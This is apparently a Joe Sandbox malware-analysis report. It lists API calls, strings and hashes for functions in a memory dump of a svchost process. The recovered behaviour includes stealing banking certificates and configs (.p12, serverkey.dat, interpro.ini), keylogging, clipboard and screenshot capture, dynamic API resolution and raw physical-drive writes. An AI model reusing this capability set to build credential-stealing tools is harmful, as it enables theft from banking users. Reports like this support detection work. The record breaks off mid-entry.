Instruction Fuzzy Hash: D0A1E4315087868FC716DB3494687ABBBE5EFC934DF188A59E8C9C7210EB31DA09C791

Function 02C8D189 Relevance: 49.3, APIs: 20, Strings: 8, Instructions: 294fileCOMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(?), ref: 02C8D195
SetCurrentDirectoryA.KERNEL32(?), ref: 02C8D1A4
FindFirstFileA.KERNEL32(?,?), ref: 02C8D1F1
GetFileAttributesA.KERNEL32(?), ref: 02C8D20A
StrStrIA.SHLWAPI(?,found.), ref: 02C8D221
StrStrIA.SHLWAPI(?,asus), ref: 02C8D238
FindNextFileA.KERNEL32(00000000,?), ref: 02C8D24F
PathAddBackslashA.SHLWAPI(7F1BFCBF), ref: 02C8D284
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8D2BE
GetLastError.KERNEL32 ref: 02C8D2C8
IsUserAnAdmin.SHELL32 ref: 02C8D2D0
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8D2DF
SetLastError.KERNEL32(00000000), ref: 02C8D2E6
SetErrorMode.KERNEL32(?), ref: 02C8D4F2

Strings

*.00*, xrefs: 02C8D1CE
asus, xrefs: 02C8D22B
.zip, xrefs: 02C8D348
7F1BFCBF, xrefs: 02C8D27F, 02C8D28A, 02C8D384, 02C8D38F
keys, xrefs: 02C8D2F9
path, xrefs: 02C8D3FE
found., xrefs: 02C8D214
.txt, xrefs: 02C8D448

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorFile$DirectoryFindLastPath$AdminAttributesBackslashCreateCurrentDriveFirstFolderMakeModeNextSystemTypeUser
String ID: *.00*$.txt$.zip$7F1BFCBF$asus$found.$keys$path
API String ID: 3516781098-420153276
Opcode ID: afc795ec085fddd7f3161c5f44be8212ee21ec8fc8a623a1a52825a712e90da7
Instruction ID: ab943dccc9a927d00b5d65f13d034dea180e4f10a05dfd6fd7655d91402de88a
Opcode Fuzzy Hash: afc795ec085fddd7f3161c5f44be8212ee21ec8fc8a623a1a52825a712e90da7
Instruction Fuzzy Hash: 30A1F8315087858FC716DB349468BABBBE5AFC5349F18CA58E8CAC7240EB31D509C791

Function 02C71180 Relevance: 44.0, APIs: 21, Strings: 4, Instructions: 203memorythreadCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C7119E
GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,7622F570), ref: 02C711BD
StrStrIA.SHLWAPI(00000000,java), ref: 02C711D5
StrStrIA.SHLWAPI(00000000,.exe), ref: 02C711EB
StrStrIW.SHLWAPI(?,.p12,00000000), ref: 02C7120F
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 02C71231
GetProcessHeap.KERNEL32(00000008,?), ref: 02C7124E
HeapAlloc.KERNEL32(00000000), ref: 02C71255
memset.MSVCRT ref: 02C71265
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 02C71281
CreateThread.KERNEL32(00000000,00000000,02C89ED0,00000000,00000000,00000000), ref: 02C71295
StrStrIW.SHLWAPI(?,serverkey.dat,00000000), ref: 02C712B4
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 02C712E5
GetProcessHeap.KERNEL32(00000008,?), ref: 02C71302
HeapAlloc.KERNEL32(00000000), ref: 02C71309
memset.MSVCRT ref: 02C71319
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 02C71335
CreateThread.KERNEL32(00000000,00000000,02C8D540,00000000,00000000,00000000), ref: 02C71349
CreateThread.KERNEL32(00000000,00000000,02C8EB60,00000000,00000000,00000000), ref: 02C71386

Part of subcall function 02C89E20: PathAddBackslashA.SHLWAPI(7f1bfc59), ref: 02C89E47
Part of subcall function 02C89E20: PathFileExistsA.SHLWAPI(?), ref: 02C89EB0

GetHandleInformation.KERNEL32(00000000,?), ref: 02C7139E
CloseHandle.KERNEL32(00000000), ref: 02C713AF

Strings

serverkey.dat, xrefs: 02C712AE
.exe, xrefs: 02C711DF
java, xrefs: 02C711C9
.p12, xrefs: 02C71209

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ByteCharHeapMultiWide$CreateThreadmemset$AllocFileHandlePathProcess$BackslashCloseExistsInformationModuleName
String ID: .exe$.p12$java$serverkey.dat
API String ID: 183229269-3502489836
Opcode ID: f680c842c16c72ab64df9a65bb09bd1b379547037e350193ea1be9a47f736af0
Instruction ID: 11bba8a6c2a8effb5c3e6ee5715992e5dc9e33b41e28deec2c99e8fae3ac34ab
Opcode Fuzzy Hash: f680c842c16c72ab64df9a65bb09bd1b379547037e350193ea1be9a47f736af0
Instruction Fuzzy Hash: 9151E671E8522576EB319A618C49FEB7E6CDF81B55F184354BD0DAA1C0EBB0DA00CAF4

Function 02C8B810 Relevance: 40.5, APIs: 17, Strings: 6, Instructions: 248COMMON

Download Yara Rule

APIs

Part of subcall function 02C93170: memset.MSVCRT ref: 02C93194
Part of subcall function 02C93170: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02C9319F

OpenProcess.KERNEL32(001FFFFF,00000000,00000000,ctunnel.exe,?,75AF7390,?), ref: 02C8B83C
GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 02C8B85B
GetHandleInformation.KERNEL32(00000000,?), ref: 02C8B86D
CloseHandle.KERNEL32(00000000), ref: 02C8B87E
PathAddBackslashA.SHLWAPI(7F1BFC0D), ref: 02C8B8A7
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8B8E1
GetLastError.KERNEL32 ref: 02C8B8EB
IsUserAnAdmin.SHELL32 ref: 02C8B8F3
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8B904
SetLastError.KERNEL32(00000000), ref: 02C8B90B
GetFileAttributesA.KERNEL32(?), ref: 02C8B941
SetCurrentDirectoryA.KERNEL32(?), ref: 02C8B980
PathAddBackslashA.SHLWAPI(7F1BFC0D,?,?), ref: 02C8B9C7
PathAddBackslashA.SHLWAPI(7F1BFC0D,ctunnel.exe,?,75AF7390,?), ref: 02C8BAA7
PathFileExistsA.SHLWAPI(?), ref: 02C8BB09

Strings

\, xrefs: 02C8B95F
ctunnel.exe, xrefs: 02C8B81C
pass.log, xrefs: 02C8BAE8
ctunnel.zip, xrefs: 02C8B920
7F1BFC0D, xrefs: 02C8B8A2, 02C8B8A9, 02C8B9C2, 02C8B9C9, 02C8BAA2, 02C8BAA9
path_ctunnel.txt, xrefs: 02C8BA08

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$BackslashFile$CreateDirectoryErrorHandleLast$AdminAttributesCloseCurrentExistsFolderInformationMakeModuleNameOpenProcessSnapshotSystemToolhelp32Usermemset
String ID: 7F1BFC0D$\$ctunnel.exe$ctunnel.zip$pass.log$path_ctunnel.txt
API String ID: 3886636124-1565033849
Opcode ID: 5632cfc693b9e8f48569ad7b779458145c89946c573e244bd4fa9270bb4473db
Instruction ID: 9745a22860d5e6ba97636dfaab07f19f23a1992d8541023edbfad4e199ed9e66
Opcode Fuzzy Hash: 5632cfc693b9e8f48569ad7b779458145c89946c573e244bd4fa9270bb4473db
Instruction Fuzzy Hash: BB9139309446598FDB16DB24A858BE6BBF8EF86308F14C7D4E889D7241DB30DE49CB90

Function 02C90BE0 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 165stringsynchronizationsleepCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02C90C10
PathFindFileNameA.SHLWAPI(?), ref: 02C90C1D
PathFileExistsA.SHLWAPI(ISClient.cfg), ref: 02C90C32

Part of subcall function 02C76570: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C76596
Part of subcall function 02C76570: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765B7
Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765DD
Part of subcall function 02C76570: RtlAllocateHeap.NTDLL(00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765E4
Part of subcall function 02C76570: memset.MSVCRT ref: 02C765F4
Part of subcall function 02C76570: ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76616
Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76622
Part of subcall function 02C76570: HeapValidate.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76629
Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76636
Part of subcall function 02C76570: HeapFree.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C7663D
Part of subcall function 02C76570: GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C7665D
Part of subcall function 02C76570: CloseHandle.KERNEL32(00000000), ref: 02C7666E
Part of subcall function 02C76570: IsBadWritePtr.KERNEL32(?,00000004), ref: 02C7667E

StrStrIA.SHLWAPI(00000000,GKUZ=,?,00000000,00000001), ref: 02C90C7D
strstr.MSVCRT ref: 02C90C9D
strstr.MSVCRT ref: 02C90CAF
CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF777BF-8989-4fe1-9A0D-95CD777C0214}), ref: 02C90CDE
Sleep.KERNEL32(000003E8), ref: 02C90CEF
ReleaseMutex.KERNEL32(00000000), ref: 02C90CF6
GetHandleInformation.KERNEL32(00000000,?), ref: 02C90D08
CloseHandle.KERNEL32(00000000), ref: 02C90D19
GetPrivateProfileStringA.KERNEL32(General,DefaultPrivateDir,00000000,?,00000104,?), ref: 02C90D67
CharUpperA.USER32(?), ref: 02C90D7E
CharUpperA.USER32(?), ref: 02C90D87

Strings

P0#v, xrefs: 02C90CF6
General, xrefs: 02C90D5F
Local\{EAF777BF-8989-4fe1-9A0D-95CD777C0214}, xrefs: 02C90CD5
GKUZ=, xrefs: 02C90C77
ISClient.cfg, xrefs: 02C90C2D, 02C90C40
interpro.ini, xrefs: 02C90D27
DefaultPrivateDir, xrefs: 02C90D5A

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: FileHeap$Handle$Process$CharCloseCreateInformationMutexNamePathUpperstrstr$AllocateExistsFindFreeModulePrivateProfileReadReleaseSizeSleepStringValidateWritememset
String ID: DefaultPrivateDir$GKUZ=$General$ISClient.cfg$Local\{EAF777BF-8989-4fe1-9A0D-95CD777C0214}$P0#v$interpro.ini
API String ID: 1392943061-2569638643
Opcode ID: 9fd8be4243b616d36701170732b719105e80b8738c4a2baab95a9a0f829c0218
Instruction ID: 36bb3138c4b6ac632d28e0c971c62c05d9625a71fc495c53c9344cf45005f770
Opcode Fuzzy Hash: 9fd8be4243b616d36701170732b719105e80b8738c4a2baab95a9a0f829c0218
Instruction Fuzzy Hash: 3F515C72D443955BEB228F28CC88BAA7BADEF84704F144698E58593241DB71F648CF51

Function 02C7C069 Relevance: 35.2, APIs: 18, Strings: 2, Instructions: 171windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 02C7C078
memset.MSVCRT ref: 02C7C0BB
GetWindowRect.USER32(00000000,00000000), ref: 02C7C0CB
GetWindowLongA.USER32(00000000,000000F0), ref: 02C7C0E5
GetScrollBarInfo.USER32(00000000,000000FA,?,?,?,762330D0), ref: 02C7C100
GetScrollBarInfo.USER32(00000000,000000FB,0000003C,?,?,762330D0), ref: 02C7C12D
GetWindow.USER32(00000000,00000005), ref: 02C7C165
GetWindow.USER32(00000000), ref: 02C7C168
IsIconic.USER32(00000000), ref: 02C7C087

Part of subcall function 02C7B9D0: IsWindow.USER32(00000000), ref: 02C7B9ED
Part of subcall function 02C7B9D0: IsWindowVisible.USER32(00000000), ref: 02C7B9FC
Part of subcall function 02C7B9D0: GetWindowRect.USER32(00000000,?), ref: 02C7BA39
Part of subcall function 02C7B9D0: GetClassLongA.USER32(00000000,000000E6), ref: 02C7BA42
Part of subcall function 02C7B9D0: PrintWindow.USER32(00000000,?,00000000,?,762330D0,?,?,?,02C7843E), ref: 02C7BA55
Part of subcall function 02C7B9D0: RedrawWindow.USER32(00000000,00000000,00000000,00000485,00000000,?,?,762330D0,?,?,?,02C7843E), ref: 02C7BA7B
Part of subcall function 02C7B9D0: CreateRectRgn.GDI32(?,?,02C7843E,?), ref: 02C7BA91
Part of subcall function 02C7B9D0: GetWindowRgn.USER32(00000000,00000000), ref: 02C7BA9B
Part of subcall function 02C7B9D0: OffsetRgn.GDI32(00000000,?,?), ref: 02C7BAB5
Part of subcall function 02C7B9D0: SelectClipRgn.GDI32(?,00000000), ref: 02C7BAC0
Part of subcall function 02C7B9D0: BitBlt.GDI32(?,?,?,02C7843E,?,?,00000000,00000000,00CC0020), ref: 02C7BAE9

IsWindow.USER32(?), ref: 02C7C18E
IsIconic.USER32(?), ref: 02C7C19D
memset.MSVCRT ref: 02C7C1CE
GetWindowRect.USER32(?,00000000), ref: 02C7C1DB
GetWindowLongA.USER32(?,000000F0), ref: 02C7C1F2
GetScrollBarInfo.USER32(?,000000FA,0000003C,?,?,762330D0), ref: 02C7C21D
GetScrollBarInfo.USER32(?,000000FB,0000003C,?,?,762330D0), ref: 02C7C255
GetWindow.USER32(?,00000005), ref: 02C7C292
GetWindow.USER32(00000000), ref: 02C7C295

Strings

<, xrefs: 02C7C0F9
<, xrefs: 02C7C213

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Window$InfoRectScroll$Long$Iconicmemset$ClassClipCreateOffsetPrintRedrawSelectVisible
String ID: <$<
API String ID: 3463799249-213342407
Opcode ID: 177739d8dc674bb14e83d376c842133f055ce4819bffd8eeb7c026f821d27920
Instruction ID: b1d32d639a922d41fb39542d9b211e93deef972600654bc564f20758c79fc4a9
Opcode Fuzzy Hash: 177739d8dc674bb14e83d376c842133f055ce4819bffd8eeb7c026f821d27920
Instruction Fuzzy Hash: F7613871D042299FDF15CFA8DC84BDEBBB9BF48714F14429AE419A7280DB706A41CF91

Function 02C81E60 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 173memorythreadclipboardCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C81E7D
GlobalLock.KERNEL32(00000000), ref: 02C81E9E
GetCurrentThreadId.KERNEL32 ref: 02C81EBF
GetGUIThreadInfo.USER32(00000000), ref: 02C81EC6
GetOpenClipboardWindow.USER32 ref: 02C81EDC
GetActiveWindow.USER32 ref: 02C81EEA
WideCharToMultiByte.KERNEL32(?,?,00000000,000000FF,?,?,?,?), ref: 02C81F18
GetProcessHeap.KERNEL32(00000008,00000013), ref: 02C81F3A
HeapAlloc.KERNEL32(00000000), ref: 02C81F41
memset.MSVCRT ref: 02C81F51
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 02C81F6E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C81FBB
HeapValidate.KERNEL32(00000000), ref: 02C81FBE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C81FCB
HeapFree.KERNEL32(00000000), ref: 02C81FCE
GlobalUnlock.KERNEL32(00000000), ref: 02C81FD9
GlobalUnlock.KERNEL32(00000000), ref: 02C8201F

Strings

0, xrefs: 02C81EB7

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$GlobalProcess$ByteCharMultiThreadUnlockWideWindowmemset$ActiveAllocClipboardCurrentFreeInfoLockOpenValidate
String ID: 0
API String ID: 3472172748-4108050209
Opcode ID: 1e0353c49d7618f6200cc3e14a074c9fbf4fca6a3c78bbe3ceba75e97713b0cf
Instruction ID: a156dc5ad741d207e8c9c0acbf238cef9a9bcdd26c7da09ebea0147bb90b3550
Opcode Fuzzy Hash: 1e0353c49d7618f6200cc3e14a074c9fbf4fca6a3c78bbe3ceba75e97713b0cf
Instruction Fuzzy Hash: 83515C71A443416BD721AF349C4CF6BBBD8EFC570DF084758F94997280DBA2DA0687A1

Function 02C81B80 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 169memoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C81BB2

Part of subcall function 02C81AC0: GetAncestor.USER32(00000000,00000002,?,00000000), ref: 02C81ACE
Part of subcall function 02C81AC0: GetWindowTextA.USER32(00000000,?,00000104), ref: 02C81AE9
Part of subcall function 02C81AC0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C81B47
Part of subcall function 02C81AC0: HeapValidate.KERNEL32(00000000), ref: 02C81B4A
Part of subcall function 02C81AC0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C81B57
Part of subcall function 02C81AC0: HeapFree.KERNEL32(00000000), ref: 02C81B5A

GetProcessHeap.KERNEL32(00000008,00000014,?,?,?,00000000), ref: 02C81C15
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 02C81C1C
memset.MSVCRT ref: 02C81C2F
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,00000000), ref: 02C81C3F
HeapValidate.KERNEL32(00000000,?,?,00000000), ref: 02C81C46
GetProcessHeap.KERNEL32(00000008,02C83142,?,?,?,00000000), ref: 02C81C66
HeapReAlloc.KERNEL32(00000000,?,?,00000000), ref: 02C81C6D

Strings

[bks], xrefs: 02C81CA8
[ret], xrefs: 02C81CC0
[ins], xrefs: 02C81D00
[del], xrefs: 02C81CEB
[tab], xrefs: 02C81CD6

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocValidatememset$AncestorFreeTextWindow
String ID: [bks]$[del]$[ins]$[ret]$[tab]
API String ID: 4095246728-233650549
Opcode ID: 1fe5b6ceba38fa2ef0e36c1ed7f9f926612c882d500b9cf1e6cc991abbf892d1
Instruction ID: 7c5269ea7c08bc0399d571e4fe4db444f479d83ea25b64e7ed57dd8896304e30
Opcode Fuzzy Hash: 1fe5b6ceba38fa2ef0e36c1ed7f9f926612c882d500b9cf1e6cc991abbf892d1
Instruction Fuzzy Hash: 6751B171D40259EBCB06DF68D844BEABBF4EF85704F08C69AE9599B340E7709605CFA0

Function 02C71670 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,7622F550,7622DF10,7693BD50), ref: 02C7168A
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 02C7169B
GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 02C716AF
StrStrIA.SHLWAPI(?,\explorer.exe), ref: 02C716D1
GetProcAddress.KERNEL32(00000000,GetFileAttributesW), ref: 02C716E1

Part of subcall function 02C88FC0: VirtualAlloc.KERNEL32(00000000,-00000008,00003000,00000040,7622F550,00000000,7693BD50,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C88FF8
Part of subcall function 02C88FC0: memcpy.MSVCRT(?,?,00000000,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C89020
Part of subcall function 02C88FC0: VirtualProtect.KERNEL32(00000000,?,00000040,02C8839A,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C890B5
Part of subcall function 02C88FC0: VirtualProtect.KERNEL32(?,00000000,00000040,02C8839A,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C890CA

GetModuleHandleA.KERNEL32(user32.dll), ref: 02C716FC
GetProcAddress.KERNEL32(00000000,GetWindowTextA), ref: 02C71708

Strings

GetFileAttributesW, xrefs: 02C716DB
CreateFileW, xrefs: 02C716A9
GetWindowTextA, xrefs: 02C71702
kernel32.dll, xrefs: 02C71696
\explorer.exe, xrefs: 02C716C5
user32.dll, xrefs: 02C716F7

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: AddressModuleProcVirtual$HandleProtect$AllocFileNamememcpy
String ID: CreateFileW$GetFileAttributesW$GetWindowTextA$\explorer.exe$kernel32.dll$user32.dll
API String ID: 1733008709-77332811
Opcode ID: 57dff1963361da8fcf9c11d16e13aa53cd21a35e299a54161ab77388b63f76bb
Instruction ID: 5f46313f880d90b31587728bf913cb7d4136ef782d41e1b131f9a8acf3e83ebe
Opcode Fuzzy Hash: 57dff1963361da8fcf9c11d16e13aa53cd21a35e299a54161ab77388b63f76bb
Instruction Fuzzy Hash: AD01B5B2B8035936FA1176755C46FAB635DDF80A98F0902B0BA0AF3140DFE5E5018978

Function 02C92320 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02C92337
PathFindFileNameA.SHLWAPI(?), ref: 02C92344
GetPrivateProfileStringA.KERNEL32(General,DefaultPrivateDir,00000000,?,00000104,?), ref: 02C92394
CharUpperA.USER32(?), ref: 02C923AC
CharUpperA.USER32(?), ref: 02C923B5
StrStrIA.SHLWAPI(?,?), ref: 02C923C5

Part of subcall function 02C92180: PathAddBackslashA.SHLWAPI(7F1BF93B), ref: 02C921B0
Part of subcall function 02C92180: CreateDirectoryA.KERNEL32(?,00000000), ref: 02C921F1
Part of subcall function 02C92180: GetLastError.KERNEL32 ref: 02C921FB
Part of subcall function 02C92180: IsUserAnAdmin.SHELL32 ref: 02C92203
Part of subcall function 02C92180: PathMakeSystemFolderA.SHLWAPI(?), ref: 02C92214
Part of subcall function 02C92180: SetLastError.KERNEL32(00000000), ref: 02C9221B
Part of subcall function 02C92180: SetCurrentDirectoryA.KERNEL32(?), ref: 02C92228
Part of subcall function 02C92180: PathAddBackslashA.SHLWAPI(7F1BF93B,?,02C923DC), ref: 02C92297

PathAddBackslashA.SHLWAPI(7F1BF93B), ref: 02C923E6

Strings

7F1BF93B, xrefs: 02C923E1, 02C923F1
General, xrefs: 02C9238F
STF, xrefs: 02C923EC
interpro.ini, xrefs: 02C92352
DefaultPrivateDir, xrefs: 02C9238A

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$Backslash$CharDirectoryErrorFileLastNameUpper$AdminCreateCurrentFindFolderMakeModulePrivateProfileStringSystemUser
String ID: 7F1BF93B$DefaultPrivateDir$General$STF$interpro.ini
API String ID: 2256374885-467714554
Opcode ID: 864d110604232c3970b2dbd9d73b3e1dd009542271c608b37789ece5d2bbf5bd
Instruction ID: bd3d41e6ccc1ab58686192a431e20eef7b7d56b6ab04b4250f60db2969be4403
Opcode Fuzzy Hash: 864d110604232c3970b2dbd9d73b3e1dd009542271c608b37789ece5d2bbf5bd
Instruction Fuzzy Hash: B111B7B5980258AFEB11DB64DC88FD7777DEF94700F0087D5E94997140DAB09694CF50

Function 02C9BE40 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 208fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C9BE6A
SHGetSpecialFolderPathA.SHELL32(00000000,Desk,?,00000000), ref: 02C9BF52
FindFirstFileA.KERNEL32(Desk,00000000), ref: 02C9BFC9

Strings

Network Favorites, xrefs: 02C9BF0E
o, xrefs: 02C9BEF5
Desk, xrefs: 02C9BF13
p, xrefs: 02C9BEFE
t, xrefs: 02C9BEEC
\, xrefs: 02C9BF6A

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: FileFindFirstFolderPathSpecialmemset
String ID: Desk$Network Favorites$\$o$p$t
API String ID: 1415333704-2295261572
Opcode ID: b863af03ad562f690d3ed4544fdd299490f7b2803116509b57fe53c6cb82ff01
Instruction ID: f905a9860a681978eddc4a4b347b3f55719ae1248870c2110f2da26bf711aa9a
Opcode Fuzzy Hash: b863af03ad562f690d3ed4544fdd299490f7b2803116509b57fe53c6cb82ff01
Instruction Fuzzy Hash: 03615B32504148ABDF21CB28AC8CBEAB76ADB85318F1487D5D5899B181E732DF498FC0

Function 02C82030 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 86fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C82051
GetDriveTypeA.KERNEL32(02CCBADC,?,?,?), ref: 02C82068
SetCurrentDirectoryA.KERNEL32(02CCBADC,?,?,?), ref: 02C82078
_snprintf.MSVCRT ref: 02C820A5
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000003,A0000000,00000000), ref: 02C820C7
WriteFile.KERNEL32(00000000,?,00000104,02C82265,00000000,00000000,76229300), ref: 02C820FB
GetHandleInformation.KERNEL32(00000000,02C82265), ref: 02C82112
CloseHandle.KERNEL32(00000000), ref: 02C82123

Strings

\\.\PhysicalDrive%u, xrefs: 02C82094

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: FileHandle$CloseCreateCurrentDirectoryDriveInformationTypeWrite_snprintfmemset
String ID: \\.\PhysicalDrive%u
API String ID: 1874144376-3292898883
Opcode ID: 2b5d1b2012bd9ae7f3124b070fba5dae7f4bd62ce57e6959b311a3f7f952f045
Instruction ID: 18f3149309e499d998e30ee7a0284b8f21fa454f41ee8954f8bd106cee32a35a
